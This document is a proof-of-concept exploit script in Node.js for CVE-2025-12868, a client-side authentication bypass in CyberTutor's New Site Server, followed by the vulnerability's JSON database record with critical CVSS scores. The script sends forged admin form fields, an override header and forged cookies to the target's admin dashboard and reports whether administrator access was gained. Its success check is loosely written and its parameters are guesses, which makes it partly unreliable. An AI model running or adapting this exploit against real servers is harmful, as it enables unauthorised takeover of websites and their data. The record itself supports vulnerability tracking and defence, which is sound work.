CVE-2025-12868

// CVE-2025-12868 PoC - Client-Side Authentication Bypass // Target: CyberTutor New Site Server // Author: Security Researcher const axios = require('axios'); async function exploit(targetUrl) { console.log('[+] Starting CVE-2025-12868 Exploitation'); console.log('[+] Target:', targetUrl); try { // Step 1: Normal access to the target console.log('\n[*] Step 1: Sending initial request...'); const initialResponse = await axios.get(targetUrl, { headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } }); // Step 2: Modify client-side authentication parameters console.log('[*] Step 2: Bypassing client-side authentication...'); const bypassPayload = { 'is_admin': 'true', 'auth_level': 'admin', 'user_role': 'administrator', 'session_valid': '1' }; // Step 3: Send request with modified authentication console.log('[*] Step 3: Sending privileged request...'); const exploitResponse = await axios.post( `${targetUrl}/admin/dashboard`, bypassPayload, { headers: { 'X-Admin-Override': 'true', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'admin_access=true; auth_bypass=1' } } ); // Step 4: Verify admin access if (exploitResponse.status === 200 && exploitResponse.data.includes('admin') || exploitResponse.data.includes('dashboard')) { console.log('\n[!] VULNERABLE: Admin access gained!'); console.log('[+] Response:', exploitResponse.data.substring(0, 200)); return true; } else { console.log('\n[-] Not vulnerable or access denied'); return false; } } catch (error) { console.error('[-] Error during exploitation:', error.message); return false; } } // Execute exploit const target = process.argv[2] || 'http://target-server.com'; exploit(target); // Note: This PoC demonstrates the authentication bypass concept. // Modify parameters based on actual target behavior. // Use responsibly and only on authorized systems.

{"cve": {"id": "CVE-2025-12868", "sourceIdentifier": "[email protected]", "published": "2025-11-10T04:15:41.563", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "New Site Server developed by CyberTutor has a Use of Client-Side Authentication vulnerability, allowing unauthenticated remote attackers to modify the frontend code to gain administrator privileges on the website."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-603"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10492-84a10-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10493-bf807-1.html", "source": "[email protected]"}]}}